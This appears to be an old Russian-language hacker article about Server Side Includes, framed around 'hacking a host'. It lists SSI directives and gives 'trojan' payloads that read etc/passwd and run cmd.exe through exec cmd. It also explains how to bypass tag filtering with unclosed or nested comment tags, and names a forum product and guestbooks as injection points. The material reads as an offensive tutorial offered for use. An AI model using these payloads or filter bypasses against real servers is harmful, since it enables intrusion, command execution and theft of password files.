• Партнер

  • SSI - это Server Side Includes, используется оно в
    файлах .shtml и .shtm, а также при определённых
    настройках сервера даже в .html. SSI
    выполняется на стороне сервера и на 98%
    используется для банального инклудеза, но
    если копнуть глубже, то становиться ясно,
    что SSI имеет намного большие функции, о
    которых мало кто знает (доки читать надо,
    уважаемые админы), в свою очередь, что может
    привести к краху всей системы...  Для тех
    кто с броне поезда маленькое вступление:

    <html>
    <body>
    <!--#include virtual="berx.txt"-->
    Какой-то текст
    <!--#include virtual="niz.txt"-->
    </body>
    </html>

    Речь и идёт о том, что находиться между
    <!-- и --> это и есть SSI. Как было сказано
    выше ... SSI выполняется на стороне сервера т.е.
    юзер при входе на www.your_page.com/some_ssi.shtml не
    увидит <!-- и --> так как сервер заменит их
    на содержимое указанных файлов, именно это
    и превлекает вебмастеров, SSI экономит место
    и время, так как чтобы сменить дизайн не
    надо менять html код на всех пагах, а
    достаточно изменить berx.txt и niz.txt, но это
    только верхушка айзберга... Нашей целью как
    всегда будет хакнуть хост, для этого нам
    понадобиться сам хост, несколько бутылок
    кефира с жирностью не менее 3% и дырка на
    сервере, через которую мы выполним наш SSI, но
    обо всём по порядку...

    Сервер должен быть с поддержкой SSI, на 99% он
    там есть, но как разместить файл .shtml с
    троянским кодом на чужой сервер??? Вопрос
    хороший и я на него отвечу чуть по позже =) А
    теперь поговорим о всех возможностях Server Side
    Includes.

    :[ Относительно безопасные информативные
    функции:
    <!--#echo var="DOCUMENT_NAME"--> // полный путь до
    файла, ну там
    c:\wwwroot\some.shtml
    <!--#echo var="DOCUMENT_URI"--> // без коментариев
    <!--#echo var="QUERY_STRING_UNESCAPED"--> // если
    some.shtml?some_string, то
    выведет some_string
    <!--#echo var="DATE_LOCAL"--> // время на сервере
    <!--#echo var="LAST_MODIFIED"--> // время
    последнего изменения данного файла
    <!--#echo var="SERVER_SOFTWARE"--> // какой сервер,
    ну там Апаче и тд.
    <!--#echo var="SERVER_NAME"--> // урл сервера
    <!--#echo var="GATEWAY_INTERFACE"--> // например CGI/1.1
    <!--#echo var="SERVER_PROTOCOL"--> // например HTTP/1.1
    <!--#echo var="SERVER_PORT"--> // здесь всё ясно
    <!--#echo var="REQUEST_METHOD"--> // например GET
    <!--#echo var="PATH_TRANSLATED"--> // путь, ну там c:\wwwroot\
    <!--#echo var="QUERY_STRING"--> // переданная
    строка, если
    a.shtml?some_string, то выведет some_string
    <!--#echo var="REMOTE_ADDR"--> // ip адресс сервера
    <!--#echo var="HTTP_REFERER"--> // откуда пришёл
    <!--#echo var="HTTP_USER_AGENT"--> // например Mozilla/4.0
    (compatible; MSIE
    5.0; Windows 98; DigExt)
    <!--#fsize virtual="stuff/extra.txt"--> // размер
    файла
    <!--#fsize file="c:\mystuff\extra.txt"--> // тоже самое
    только с полным
    путём до файла

    :[ Самый брутальные функции :
    <!--#exec cmd="c:\httpd\cgi-bin\visitor.exe"--> //
    запускает программу с
    полным путём до файла
    <!--#exec cgi="/cgi-bin/visitor.exe"--> // покажет
    результаты работы скрипта
    или программы
    <!--#include virtual="stuff/extra.txt"--> // тот самый
    инклудез
    <!--#include file="c:\mystuff\extra.txt"--> // тоже
    самое, только с полным
    путём до файла

    :[ Пример троянского кода :
    <!--#include file="etc/passwd"--> // выведет файл
    паролей
    <!--#exec cmd="c:\winnt\system32\cmd.exe?/c+dir+c:\"--> //
    покажет файлы на
    диске c:\ и тд ...

    :[ Как разместить SSI код на чужом сервере ???
    Во-первых это всевозможные форумы и
    гуестбуки, при определённых настройках это
    могут быть даже чаты, но есть ещё одна
    проблема - это фильтрация тэгов, сделаю
    небольшое отступление... На сервере Апач для
    запуска SSI не надо закрывать код символами
    "-->" т.е. для выполнения достаточно
    <!--#include file="etc/passwd", так обходится
    запрет на сами SSI тэги, так как обычно
    ставиться урезать всё что между <!-- и -->,
    далее "умный" кодер может поставить
    выкусывать "<!--", что бы сделать не
    работоспособным наш код, но это тоже
    достаточно просто обойти: <<!--!--#include file="etc/passwd"
    после обрезания будет выглядеть достаточно
    работоспособно : <!--#include file="etc/passwd".
    Первым уязвимым форумом, который приходит в
    голову - это WhiteTigerBoard, по умолчанию там
    ставиться создавать на каждое сообщение .shtml
    файл, как обойти фильтрацию тэгов мы уже
    говорили. Во-вторых можно спокойно
    подставить своего хостера будь он халявный
    или платный - это не так уж и важно ...
    Создаёте файл some.shtml заносите туда всё, что
    вам нужно и закачиваете на сервер, правда
    может быть это не очень красиво, а впихивать
    баннеры на ваши страницы - это честно??? Да и
    я так думаю, что нет.

    Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии